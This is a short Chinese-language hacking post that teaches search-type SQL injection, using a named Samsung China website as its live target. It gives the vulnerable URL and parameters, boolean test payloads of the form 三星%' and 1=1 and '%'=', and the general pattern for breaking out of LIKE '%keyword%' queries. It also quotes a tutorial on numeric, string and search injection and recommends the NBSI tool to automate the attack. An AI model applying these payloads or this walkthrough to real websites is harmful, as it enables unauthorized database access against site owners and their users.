今天看到有個關于搜索型注入的文章,用到的是一種新技術,探測的是三星:http://notebook.samsung.com.cn/index.aspx
注入方式是:
一般網站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx& ... t&ST=title&SC=
構造注入語句 三星%’and 1=1 and ’%’=’ 三星%’and 1=2 and ’%’=’
大家看到了吧 兩個返回頁面是不一樣的 說明有注入的漏洞 特征字 寫 筆記本 就是三星%’and 1=1 and ’%’=’ 返回時有的
我們知道一般搜索代碼是這么寫的:
Select * from 表名 where 字段 like ’%關鍵字%’
這樣就造成了對關鍵字前后的所有匹配(%是用來全部匹配的)
這里如果關鍵字沒有過濾的話,就可以這樣來構造:
關鍵字=’ and [查詢條件] and ‘%’=’
這樣查詢就變成
select * from 表名 where 字段 like ’%’ and 1=1 and ’%’=’%’
這樣就很好的構成了一個sql注入點,當然用手工也可以,用nbsi也可以~~
注入是不分家的,沒必要什么型什么型的!~
如果不信,大家請看下面的《sql注入天書》的原話
第一節、SQL注入的一般步驟
首先,判斷環境,尋找注入點,判斷數據庫類型,這在入門篇已經講過了。
其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型主要分為下面三種:
(A) ID=49 這類注入的參數是數字型,SQL語句原貌大致如下:
Select * from 表名 where 字段=49
注入的參數為ID=49 And [查詢條件],即是生成語句:
Select * from 表名 where 字段=49 And [查詢條件]
(B) Class=連續劇 這類注入的參數是字符型,SQL語句原貌大致概如下:
Select * from 表名 where 字段=’連續劇’ 注入的參數為Class=連續劇’ and [查詢條件] and ‘’=’ ,即是生成語句:
Select * from 表名 where 字段=’連續劇’ and [查詢條件] and ‘’=’’
(C) 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:
Select * from 表名 where 字段like ’%關鍵字%’ 注入的參數為keyword=’ and [查詢條件] and ‘%’=’, 即是生成語句:
Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’
當然手工是麻煩的
用工具的話,我建議用nbsi的工具比較好,就我感覺只有nbsi結合了這個技術,用別的軟體是不能注入的
注入點只要寫:
http://notebook.samsung.com.cn/news/news.aspx?& ... &ST=title&SC=%
再加個特征字符就可以了
|